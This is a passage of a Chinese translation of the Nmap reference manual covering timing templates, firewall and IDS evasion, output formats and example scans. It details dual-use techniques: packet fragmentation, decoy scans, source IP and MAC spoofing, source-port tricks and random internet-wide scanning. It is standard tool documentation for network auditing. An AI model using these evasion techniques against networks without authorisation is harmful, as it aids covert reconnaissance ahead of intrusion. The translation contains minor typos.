    --min-rtt-timeout这个选项很少使用,当网络不可靠时,Nmap的默认值也显得过于强烈,这时这个选项可起作用。当网络看起来不可靠时,Nmap仅将超时时间降至最小值,这个情况是不正常的,需要向nmap-dev邮件列表报告bug。

    --host-timeout <milliseconds> (放弃低速目标主机)

    由于性能较差或不可靠的网络硬件或软件、带宽限制、严格的防火墙等原因,一些主机需要很长的时间扫描。这些极少数的主机扫描往往占据了大部分的扫描时间。因此,最好的办法是减少时间消耗并且忽略这些主机,使用--host-timeout选项来说明等待的时间(毫秒)。通常使用1800000来保证Nmap不会在单个主机上使用超过半小时的时间。需要注意的是,Nmap在这半小时中可以同时扫描其它主机,因此并不是完全放弃扫描。超时的主机被忽略,因此也没有针对该主机的端口表、操作系统检测或版本检测结果的输出。

    --scan-delay <milliseconds>; --max-scan-delay <milliseconds> (调整探测报文的时间间隔)

    这个选项用于Nmap控制针对一个主机发送探测报文的等待时间(毫秒),在带宽控制的情况下这个选项非常有效。Solaris主机在响应UDP扫描探测报文报文时,每秒只发送一个ICMP消息,因此Nmap发送的很多数探测报文是浪费的。--scan-delay设为1000,使Nmap低速运行。Nmap尝试检测带宽控制并相应地调整扫描的延迟,但并不影响明确说明何种速度工作最佳。--scan-delay的另一个用途是躲闭基于阈值的入侵检测和预防系统(IDS/IPS)

    -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> (设置时间模板)

    上述优化时间控制选项的功能很强大也很有效,但有些用户会被迷惑。此外,往往选择合适参数的时间超过了所需优化的扫描时间。因此,Nmap提供了一些简单的方法,使用6个时间模板,使用时采用-T选项及数字(0 – 5)或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)。前两种模式用于IDS躲避,Polite模式降低了扫描速度以使用更少的带宽和目标主机资源。默认模式为Normal,因此-T3实际上是未做任何优化。Aggressive模式假设用户具有合适及可靠的网络从而加速扫描。Insane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。

    用户可以根据自己的需要选择不同的模板,由Nmap负责选择实际的时间值。模板也会针对其它的优化控制选项进行速度微调。例如,-T4针对TCP端口禁止动态扫描延迟超过10ms,-T5对应的值为5ms。模板可以和优化调整控制选项组合使用,但模板必须首先指定,否则模板的标准值会覆盖用户指定的值。建议在扫描可靠的网络时使用-T4,即使在自己要增加优化控制选项时也使用(在命令行的开始),从而从这些额外的较小的优化中获益。

    如果用于有足够的带宽或以太网连接,仍然建议使用-T4选项。有些用户喜欢-T5选项,但这个过于强烈。有时用户考虑到避免使主机崩溃或者希望更礼貌一些会采用-T2选项。他们并没意识到-T Polite选项是如何的慢,这种模式的扫描比默认方式实际上要多花10倍的时间。默认时间选项(-T3)很少有主机崩溃和带宽问题,比较适合于谨慎的用户。不进行版本检测比进行时间调整能更有效地解决这些问题。

    虽然-T0-T1选项可能有助于避免IDS告警,但在进行上千个主机或端口扫描时,会显著增加时间。对于这种长时间的扫描,宁可设定确切的时间值,而不要去依赖封装的-T0-T1选项

    T0选项的主要影响是对于连续扫描,在一个时间只能扫描一个端口,每个探测报文的发送间隔为5分钟。T1T2选项比较类似,探测报文间隔分别为15秒和0.4秒。T3是Nmap的默认选项,包含了并行扫描。T4选项与--max-rtt-timeout 1250 --initial-rtt-timeout 500等价,最大TCP扫描延迟为10ms。T5等价于--max-rtt-timeout 300 --min-rtt-timeout 50 --initial-rtt-timeout 250 --host-timeout 900000,最大TCP扫描延迟为5ms。

    防火墙/IDS躲避和哄骗

    很多Internet先驱们设想了一个全球开放的网络,使用全局的IP地址空间,使得任何两个节点之间都有虚拟连接。这使得主机间可以作为真正的对等体,相互间提供服务和获取信息。人们可以在工作时访问家里所有的系统、调节空调温度、为提前到来的客人开门。随后,这些全球连接的设想受到了地址空间短缺和安全考虑的限制。在90年代早期,各种机构开始部署防火墙来实现减少连接的目的,大型网络通过代理、NAT和包过滤器与未过滤的Internet隔离。不受限的信息流被严格控制的可信通信通道信息流所替代。

    类似防火墙的网络隔离使得对网络的搜索更加困难,随意的搜索变得不再简单。然而,Nmap提供了很多特性用于理解这些复杂的网络,并且检验这些过滤器是否正常工作。此外,Nmap提供了绕过某些较弱的防范机制的手段。检验网络安全状态最有效的方法之一是尝试哄骗网络,将自己想象成一个攻击者,使用本节提供的技术来攻击自己的网络。如使用FTP bounce扫描、Idle扫描、分片攻击或尝试穿透自己的代理。

    除限制网络的行为外,使用入侵检测系统(IDS)的公司也不断增加。由于Nmap常用于攻击前期的扫描,因此所有主流的IDS都包含了检测Nmap扫描的规则。现在,这些产品变形为入侵预防系统(IPS),可以主动地阻止可疑的恶意行为。不幸的是,网络管理员和IDS厂商通过分析报文来检测恶意行为是一个艰苦的工作,有耐心和技术的攻击者,在特定Nmap选项的帮助下,常常可以不被IDS检测到。同时,管理员必须应付大量的误报结果,正常的行为被误判而被改变或阻止。

    有时,人们建议Nmap不应该提供躲闭防火墙规则或哄骗IDS的功能,这些功能可能会被攻击者滥用,然而管理员却可以利用这些功能来增强安全性。实际上,攻击的方法仍可被攻击者利用,他们可以发现其它工具或Nmap的补丁程序。同时,管理员发现攻击者的工作更加困难,相比较采取措施来预防执行FTP Bounce攻击的工具而言,部署先进的、打过补丁的FTP服务器更加有效。

    Nmap不提供检测和破坏防火墙及IDS系统的魔弹(或Nmap选项),它使用的是技术和经验,这超出了本参考手册的范围,下面描述了相关的选项和完成的工作。

    -f (报文分段); --mtu (使用指定的MTU)

    -f选项要求扫描时(包挺ping扫描)使用小的IP包分段。其思路是将TCP头分段在几个包中,使得包过滤器、IDS以及其它工具的检测更加困难。必须小心使用这个选项,有些系统在处理这些小包时存在问题,例如旧的网络嗅探器Sniffit在接收到第一个分段时会立刻出现分段错误。该选项使用一次,Nmap在IP头后将包分成8个字节或更小。因此,一个20字节的TCP头会被分成3个包,其中2个包分别有TCP头的8个字节,另1个包有TCP头的剩下4个字节。当然,每个包都有一个IP头。再次使用-f可使用16字节的分段(减少分段数量)。使用--mtu选项可以自定义偏移的大小,使用时不需要-f,偏移量必须是8的倍数。包过滤器和防火墙对所有的IP分段排队,如Linux核心中的CONFIG-IP-ALWAYS-DEFRAG配置项,分段包不会直接使用。一些网络无法承受这样所带来的性能冲击,会将这个配置禁止。其它禁止的原因有分段包会通过不同的路由进入网络。一些源系统在内核中对发送的报文进行分段,使用iptables连接跟踪模块的Linux就是一个例子。当使用类似Ethereal的嗅探器时,扫描必须保证发送的报文要分段。如果主机操作系统会产生问题,尝试使用--send-eth选项以避开IP层而直接发送原始的以太网帧。

    -D <decoy1 [,decoy2][,ME],...> (使用诱饵隐蔽扫描)

    为使诱饵扫描起作用,需要使远程主机认为是诱饵在扫描目标网络。IDS可能会报个某个IP的5-10个端口扫描,但并不知道哪个IP在扫描以及哪些不是诱饵。但这种方式可以通过路由跟踪、响应丢弃以及其它主动机制在解决。这是一种常用的隐藏自身IP地址的有效技术。

    使用逗号分隔每个诱饵主机,也可用自己的真实IP作为诱饵,这时可使用ME选项说明。如果在第6个位置或更后的位置使用ME选项,一些常用端口扫描检测器(如Solar Designer’s excellent scanlogd)就不会报告这个真实IP。如果不使用ME选项,Nmap将真实IP放在一个随机的位置

    注意,作为诱饵的主机须在工作状态,否则会导致目标主机的SYN洪水攻击。如果在网络中只有一个主机在工作,那就很容易确定哪个主机在扫描。也可使用IP地址代替主机名(被诱骗的网络就不可能在名字服务器日志中发现)。

    诱饵可用在初始的ping扫描(ICMP、SYN、ACK等)阶段或真正的端口扫描阶段。诱饵也可以用于远程操作系统检测(-O)。在进行版本检测或TCP连接扫描时,诱饵无效。

    使用过多的诱饵没有任何价值,反而导致扫描变慢并且结果不准确。此外,一些ISP会过滤哄骗的报文,但很多对欺骗IP包没有任何限制。

    -S <IP_Address> (源地址哄骗)

    在某些情况下,Nmap可能无法确定你的源地址(如果这样,Nmap会给出提示)。此时,使用-S选项并说明所需发送包的接口IP地址。

    这个标志的另一个用处是哄骗性的扫描,使得目标认为是另一个地址在进行扫描。可以想象某一个竞争对手在不断扫描某个公司!-e选项常在这种情况下使用,也可采用-P0选项。

    -e <interface> (使用指定的接口)

    告诉Nmap使用哪个接口发送和接收报文,Nmap可以进行自动检测,如果检测不出会给出提示。

    --source-port <portnumber>;-g <portnumber> (源端口哄骗)

    仅依赖于源端口号就信任数据流是一种常见的错误配置,这个问题非常好理解。例如一个管理员部署了一个新的防火墙,但招来了很多用户的不满,因为他们的应用停止工作了。可能是由于外部的UDP DNS服务器响应无法进入网络,而导致DNS的崩溃。FTP是另一个常见的例子,在FTP传输时,远程服务器尝试和内部应用建立连接以传输数据。

    对这些问题有安全解决方案,通常是应用级代理或协议分析防火墙模块。但也存在一些不安全的方案。注意到DNS响应来自于53端口,FTP连接来自于20端口,很多管理员会掉入一个陷阱,即允许来自于这些端口的数据进入网络。他们认为这些端口里不会有值得注意的攻击和漏洞利用。此外,管理员或许认为这是一个短期的措施,直至他们采取更安全的方案。但他们忽视了安全的升级。

    不仅仅是工作量过多的网络管理员掉入这种陷阱,很多产品本身也会有这类不安全的隐患,甚至是微软的产品。Windows 2000和Windows XP中包含的IPsec过滤器也包含了一些隐含规则,允许所有来自88端口(Kerberos)的TCP和UDP数据流。另一个常见的例子是Zone Alarm个人防火墙到2.1.25版本仍然允许源端口53(DNS)或67(DHCP)的UDP包进入。

    Nmap提供了-g--source-port选项(它们是等价的),用于利用上述弱点。只需要提供一个端口号,Nmap就可以从这些端口发送数据。为使特定的操作系统正常工作,Nmap必须使用不同的端口号。DNS请求会忽略--source-port选项,这是因为Nmap依靠系统库来处理。大部分TCP扫描,包括SYN扫描,可以完全支持这些选项,UDP扫描同样如此。

    --data-length <number> (发送报文时 附加随机数据)

    正常情况下,Nmap发送最少的报文,只含一个包头。因此TCP包通常是40字节,ICMP ECHO请求只有28字节。这个选项告诉Nmap在发送的报文上附加指定数量的随机字节。操作系统检测(-O)包不受影响,但大部分ping和端口扫描包受影响,这会使处理变慢,但对扫描的影响较小。

    --ttl <value> (设置IP time-to-live域)

    设置IPv4报文的time-to-live域为指定的值。

    --randomize-hosts (对目标主机的顺序随机排列)

    告诉Nmap在扫描主机前对每个组中的主机随机排列,最多可达8096个主机。这会使得扫描针对不同的网络监控系统来说变得不是很明显,特别是配合值较小的时间选项时更有效。如果需要对一个较大的组进行随机排列,需要增大nmap.h文件中PING-GROUP-SZ的值,并重新编译。另一种方法是使用列表扫描(-sL -n -oN <filename>),产生目标IP的列表,使用Perl脚本进行随机化,然后使用-iL提供给Nmap。

    --spoof-mac <mac address,prefix,or vendor name> (MAC地址哄骗)

    要求Nmap在发送原以太网帧时使用指定的MAC地址,这个选项隐含了--send-eth选项,以保证Nmap真正发送以太网包。MAC地址有几种格式。如果简单地使用字符串“0”,Nmap选择一个完全随机的MAC地址。如果给定的字符品是一个16进制偶数(使用:分隔),Nmap将使用这个MAC地址。如果是小于12的16进制数字,Nmap会随机填充剩下的6个字节。如果参数不是0或16进制字符串,Nmap将通过nmap-mac-prefixes查找厂商的名称(大小写区分),如果找到匹配,Nmap将使用厂商的OUI(3字节前缀),然后随机填充剩余的3个节字。正确的--spoof-mac参数有Apple001:02:03:04:05:06deadbeefcafe0020F2Cisco

    输出

    任何安全工具只有在输出结果时才是有价值的,如果没有通过组织和易于理解的方式来表达,复杂的测试和算法几乎没有意义。Nmap提供了一些方式供用户和其它软件使用,实际上,没有一种方式可以使所有人满意。因此Nmap提供了一些格式,包含了方便直接查看的交互方式和方便软件处理的XML格式。

    除了提供输出格式外,Nmap还提供了选项来控制输出的细节以及调试信息。输出内容可发送给标准输出或命名文件,可以追加或覆盖。输出文件还可被用于继续中断的扫描。

    Nmap提供5种不同的输出格式

    • interactive output:默认方式,发送给标准输出(stdout)
    • normal output:类似于interactive output,但显示较少的运行时间信息和告警信息,这是由于这些信息是在扫描完全结束后用于分析,而不是交互式的
    • XML output:最重要的输出类型,可被转换成HTML,对于程序处理非常方便,如用于Nmap图形用户接口或导入数据库
    • grepable output:在一行中包含目标主机最多的信息
    • sCRiPt KiDDi3 0utPUt:用于考虑自己的用户|<-r4d

    interactive output是默认方式,没有相应的命令行选项,其它四种格式选项使用相同的语法,采用一个参数,即存放结果的文件名,多种格式可同时使用,但一种格式只能使用一次。例如:在标准输出用于查看的同时,可将结果保存到XML文件用于程序分析,这时可以使用选项-oX myscan.xml -oN myscan.nmap。为便于描述的简化,本章使用类似于myscan.xml的简单文件名,建议采用更具有描述性的文件名。文件名的选择与个人喜好有关,建议增加扫描日期以及一到两个单词来描述,并放置于一个目录中。

    在将结果输出到文件的同时,Nmap仍将结果发送给标准输出。例如, 命令nmap -oX myscan.xml target将输出XML至myscan.xml,即使-oX没有指定其他选项,也会将交互式结果打印在stdout上。可以使用-字符作为选项来改变,这使得Nmap禁止交互式输出,而是将结果打印到所指定的标准输出流中。因此,命令nmap -oX - target只输出XML至标准输出stdout。严重错误仍然是输出到标准错误流stderr中。

    与其它Nmap参数不同,日志文件选项的空格(如-oX)和文件名或连字符是必需的。如果省略了标记,例如-oG--oXscan.xml,Nmap的向后兼容特点将建立标准格式的输出文件,相应的文件名为G-Xscan.xml

    Nmap还提供了控制扫描细节以及输出文件的添加或覆盖的选项,这些选项如下所述。

    Nmap输出格式

    -oN <filespec> (标准输出)

    要求将标准输出直接写入指定的文件。如上所述,这个格式与交互式输出略有不同。

    -oX <filespec> (XML输出)

    要求XML输出直接写入指定的文件。Nmap包含了一个文档类型定义(DTD),使XML解析器有效地进行XML输出。这主要是为了程序应用,同时也可以协助人工解释Nmap的XML输出。DTD定义了合法的格式元素,列举可使用的属性和值。最新的版本可在nmap.dtd获取。

    XML提供了可供软件解析的稳定格式输出,主要的计算机语言都提供了免费的XML解析器,如C/C++,Perl,Python和Java。针对这些语言有一些捆绑代码用于处理Nmap的输出和特定的执行程序。例如perlCPAN中的Nmap::ScannerNmap::Parser。对几乎所有与Nmap有接口的主要应用来说,XML是首选的格式。

    XML输出引用了一个XSL样式表,用于格式化输出结果,类似于HTML。最方便的方法是将XML输出加载到一个Web浏览器,如Firefox或IE。由于nmap.xsl文件的绝对路径,因此通常只能在运行了Nmap的机器上工作(或类似配置的机器)。类似于任何支持Web机器的HTML文件,--stylesheet选项可用于建立可移植的XML文件。

    -oS <filespec> (ScRipT KIdd|3 oUTpuT)

    脚本小子输出类似于交互工具输出,这是一个事后处理,适合于’l33t HaXXorZ,由于原来全都是大写的Nmap输出。这个选项和脚本小子开了玩笑,看上去似乎是为了“帮助他们”。

    -oG <filespec> (Grep输出)

    这种方式最后介绍,因为不建议使用。XML输格式很强大,便于有经验的用户使用。XML是一种标准,由许多解析器构成,而Grep输届更简化。XML是可扩展的,以支持新发布的Nmap特点。使用Grep输出的目的是忽略这些特点,因为没有足够的空间。

    然面,Grep输出仍然很常使用。它是一种简单格式,每行一个主机,可以通过UNIX工具(如grep、awk、cut、sed、diff)和Perl方便地查找和分解。常可用于在命令行上进行一次性测式。查找ssh端口打开或运行Sloaris的主机,只需要一个简单的grep主机说明,使用通道并通过awk或cut命令打印所需的域。

    Grep输出可以包含注释(每行由#号开始)。每行由6个标记的域组成,由制表符及冒号分隔。这些域有主机端口协议忽略状态操作系统序列号IPID状态

    这些域中最重要的是Ports,它提供了所关注的端口的细节,端口项由逗号分隔。每个端口项代表一个所关注的端口,每个子域由/分隔。这些子域有:端口号状态协议拥有者服务SunRPCinfo版本信息

    对于XML输出,本手册无法列举所有的格式,有关Nmap Grep输出的更详细信息可查阅http://www.unspecific.com/nmap-oG-output

    -oA <basename> (输出至所有格式)

    为使用方便,利用-oA<basename>选项可将扫描结果以标准格式、XML格式和Grep格式一次性输出。分别存放在<basename>.nmap,<basename>.xml和<basename>.gnmap文件中。也可以在文件名前指定目录名,如在UNIX中,使用~/nmaplogs/foocorp/,在Window中,使用c:\hacking\sco on Windows。

    细节和调试选项

    -v (提高输出信息的详细度)

    通过提高详细度,Nmap可以输出扫描过程的更多信息。输出发现的打开端口,若Nmap认为扫描需要更多时间会显示估计的结束时间。这个选项使用两次,会提供更详细的信息。这个选项使用两次以上不起作用。

    大部分的变化仅影响交互式输出,也有一些影响标准和脚本小子输出。其它输出类型由机器处理,此时Nmap默认提供详细的信息,不需要人工干预。然而,其它模式也会有一些变化,省略一些细节可以减小输出大小。例如,Grep输出中的注释行提供所有扫描端口列表,但由于这些信息过长,因此只能在细节模式中输出。

    -d [level] (提高或设置调试级别)

    当详细模式也不能为用户提供足够的数据时,使用调试可以得到更多的信息。使用细节选项(-v)时,可启用命令行参数(-d),多次使用可提高调试级别。也可在-d后面使用参数设置调试级别。例如,-d9设定级别9。这是最高的级别,将会产生上千行的输出,除非只对很少的端口和目标进行简单扫描。

    如果Nmap因为Bug而挂起或者对Nmap的工作及原理有疑问,调试输出非常有效。主要是开发人员用这个选项,调试行不具备自我解释的特点。例如,Timeoutvals: srtt: -1 rttvar: -1 to: 1000000 delta 14987 ==> srtt: 14987 rttvar: 14987 to: 100000。如果对某行输出不明白,可以忽略、查看源代码或向开发列表(nmap-dev)求助。有些输出行会有自我解释的特点,但随着调试级别的升高,会越来越含糊。

    --packet-trace (跟踪发送和接收的报文)

    要求Nmap打印发送和接收的每个报文的摘要,通常用于调试,有助于新用户更好地理解Nmap的真正工作。为避免输出过多的行,可以限制扫描的端口数,如-p20-30。如果只需进行版本检测,使用--version-trace

    --iflist (列举接口和路由)

    输出Nmap检测到的接口列表和系统路由,用于调试路由问题或设备描述失误(如Nmap把PPP连接当作以太网对待)。

    其它输出选项

    --append-output (在输出文件中添加)

    当使用文件作为输出格式,如-oX-oN,默认该文件被覆盖。如果希望文件保留现有内容,将结果添加在现有文件后面,使用--append-output选项。所有指定的输出文件都被添加。但对于XML(-oX)扫描输出文件无效,无法正常解析,需要手工修改。

    --resume <filename> (继续中断的扫描)

    一些扩展的Nmap运行需要很长的时间–以天计算,这类扫描往往不会结束。可以进行一些限制,禁止Nmap在工作时间运行,导致网络中断、运行Nmap的主机计划或非计划地重启、或者Nmap自己中断。运行Nmap的管理员可以因其它原因取消运行,按下ctrl-C即可。从头开始启动扫描可能令人不快,幸运的是,如果标准扫描(-oN)或Grep扫描(-oG)日志被保留,用户可以要求Nmap恢复终止的扫描,只需要简单地使用选项--resume并说明标准/Grep扫描输出文件,不允许使用其它参数,Nmap会解析输出文件并使用原来的格式输出。使用方式如nmap –resume <logfilename>。Nmap将把新地结果添加到文件中,这种方式不支持XML输出格式,原因是将两次运行结果合并至一个XML文件比较困难。

    --stylesheet <path or URL> (设置XSL样式表,转换XML输出)

    Nmap提从了XSL样式表nmap.xsl,用于查看或转换XML输出至HTML。XML输出包含了一个xml-stylesheet,直接指向nmap.xml文件,该文件由Nmap安装(或位于Windows当前工作目录)。在Web浏览器中打开Nmap的XML输出时,将会在文件系统中寻找nmap.xsl文件,并使用它输出结果。如果希望使用不同的样式表,将它作为--stylesheet的参数,必段指明完整的路径或URL,常见的调用方式是--stylesheet https://nmap.org/data/nmap.xsl。这告诉浏览器从Insecire.Org中加载最新的样式表。这使得没安装Nmap(和nmap.xsl)的机器中可以方便地查看结果。因此,URL更方便使用,本地文件系统的nmap.xsl用于默认方式。

    --no-stylesheet (忽略XML声明的XSL样式表)

    使用该选项禁止Nmap的XML输出关联任何XSL样式表。xml-stylesheet指示被忽略。

    其它选项

    本节描述一些重要的(和并不重要)的选项,这些选项不适合其它任何地方。

    -6 (启用IPv6扫描)

    从2002年起,Nmap提供对IPv6的一些主要特征的支持。ping扫描(TCP-only)、连接扫描以及版本检测都支持IPv6。除增加-6选项外,其它命令语法相同。当然,必须使用IPv6地址来替换主机名,如3ffe:7501:4819:2000:210:f3ff:fe03:14d0。除“所关注的端口”行的地址部分为IPv6地址。

    IPv6目前未在全球广泛采用,目前在一些国家(亚洲)应用较多,一些高级操作系统支持IPv6。使用Nmap的IPv6功能,扫描的源和目的都需要配置IPv6。如果ISP(大部分)不分配IPv6地址,Nmap可以采用免费的隧道代理。一种较好的选择是BT Exact,位于https://tb.ipv6.btexact.com/。此外,还有Hurricane Electric,位于http://ipv6tb.he.net/。6to4隧道是另一种常用的免费方法。

    -A (激烈扫描模式选项)

    这个选项启用额外的高级和高强度选项,目前还未确定代表的内容。目前,这个选项启用了操作系统检测(-O)和版本扫描(-sV),以后会增加更多的功能。目的是启用一个全面的扫描选项集合,不需要用户记忆大量的选项。这个选项仅仅启用功能,不包含用于可能所需要的时间选项(如-T4)或细节选项(-v)。

    --datadir <directoryname> (说明用户Nmap数据文件位置)

    Nmap在运行时从文件中获得特殊的数据,这些文件有nmap-service-probesnmap-servicesnmap-protocolsnmap-rpcnmap-mac-prefixesnmap-os-fingerprints。Nmap首先在--datadir选项说明的目录中查找这些文件。未找到的文件,将在BMAPDIR环境变量说明的目录中查找。接下来是用于真正和有效UID的~/.nmap或Nmap可执行代码的位置(仅Win32);然后是是编译位置,如/usr/local/share/nmap/usr/share/nmap。Nmap查找的最后一个位置是当前目录。

    --send-eth (使用原以太网帧发送)

    要求Nmap在以太网(数据链路)层而不是IP(网络层)发送报文。默认方式下,Nmap选择最适合其运行平台的方式,原套接字(IP层)是UNIX主机最有效的方式,而以太网帧最适合Windows操作系统,因为Microsoft禁用了原套接字支持。在UNIX中,如果没有其它选择(如无以太网连接),不管是否有该选项,Nmap都使用原IP包。

    --send-ip (在原IP层发送)

    要求Nmap通过原IP套接字发送报文,而不是低层的以太网帧。这是--send-eth选项的补充。

    --privileged (假定用户具有全部权限)

    告诉Nmap假定其具有足够的权限进行源套接字包发送、报文捕获和类似UNIX系统中根用户操作的权限。默认状态下,如果由getuid()请求的类似操作不为0,Nmap将退出。--privileged在具有Linux内核性能的类似系统中使用非常有效,这些系统配置允许非特权用户可以进行原报文扫描。需要明确的是,在其它选项之前使用这些需要权限的选项(SYN扫描、操作系统检测等)。Nmap-PRIVILEGED变量设置等价于--privileged选项。

    -V; --version (打印版本信息)

    打印Nmap版本号并退出。

    -h; --help (打印帮助摘要面)

    打印一个短的帮助屏幕,列出大部分常用的命令选项,这个功能与不带参数运行Nmap是相同的。

    运行时的交互

    Nmap目前还不具有这个功能,本节内容可能会增加或删除。

    在执行Nmap时,所有的键盘敲击都被记录。这使得用户可以与程序交互而不需要终止或重启。特定的键可改变选项,其它键会输出一个有关扫描的状态消息。约定如下,小写字母增加打印量,大写字母减少打印量。

    v / V

    增加 / 减少细节

    d / D

    提高 / 降低调试级别

    p / P

    打开 / 关闭报文跟踪

    其它

    打印的信息类似于:

    Stats: 0:00:08 elapsed; 111 hosts completed (5 up), 5 undergoing Service Scan

    Service scan Timing: About 28.00% done; ETC: 16:18 (0:00:15 remaining)

    实例

    下面给出一些实例,简单的、复杂的到深奥的。为更具体,一些例子使用了实际的IP地址和域名。在这些位置,可以使用你自己网络的地址/域名替换。注意,扫描其它网络不一定合法,一些网络管理员不愿看到未申请过的扫描,会产生报怨。因此,先获得允许是最好的办法。

    如果是为了测试,scanme.nmap.org允许被扫描。但仅允许使用Nmap扫描并禁止测试漏洞或进行DoS攻击。为保证带宽,对该主机的扫描每天不要超过12次。如果这个免费扫描服务被滥用,系统将崩溃而且Nmap将报告解析指定的主机名/IP地址失败:scanme.nmap.org。这些免费扫描要求也适用于scanme2.nmap.orgscanme3.nmap.org等等,虽然这些主机目前还不存在。

    nmap -v scanme.nmap.org

    这个选项扫描主机scanme.nmap.org中所有的保留TCP端口。选项-v启用细节模式。

    nmap -sS -O scanme.nmap.org/24

    进行秘密SYN扫描,对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测,这个扫描需要有根权限。

    nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127

    进行主机列举和TCP扫描,对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开,将使用版本检测来确定哪种应用在运行。

    nmap -v -iR 100000 -P0 -p 80

    随机选择100000台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间,而且只需探测主机的一个端口,因此使用-P0禁止对主机列表。

    nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 216.163.128.20/20

    扫描4096个IP地址,查找Web服务器(不ping),将结果以Grep和XML格式保存。

    host -l company.com | cut -d -f 4 | nmap -v -iL -

    进行DNS区域传输,以发现company.com中的主机,然后将IP地址提供给Nmap。上述命令用于GNU/Linux–其它系统进行区域传输时有不同的命令。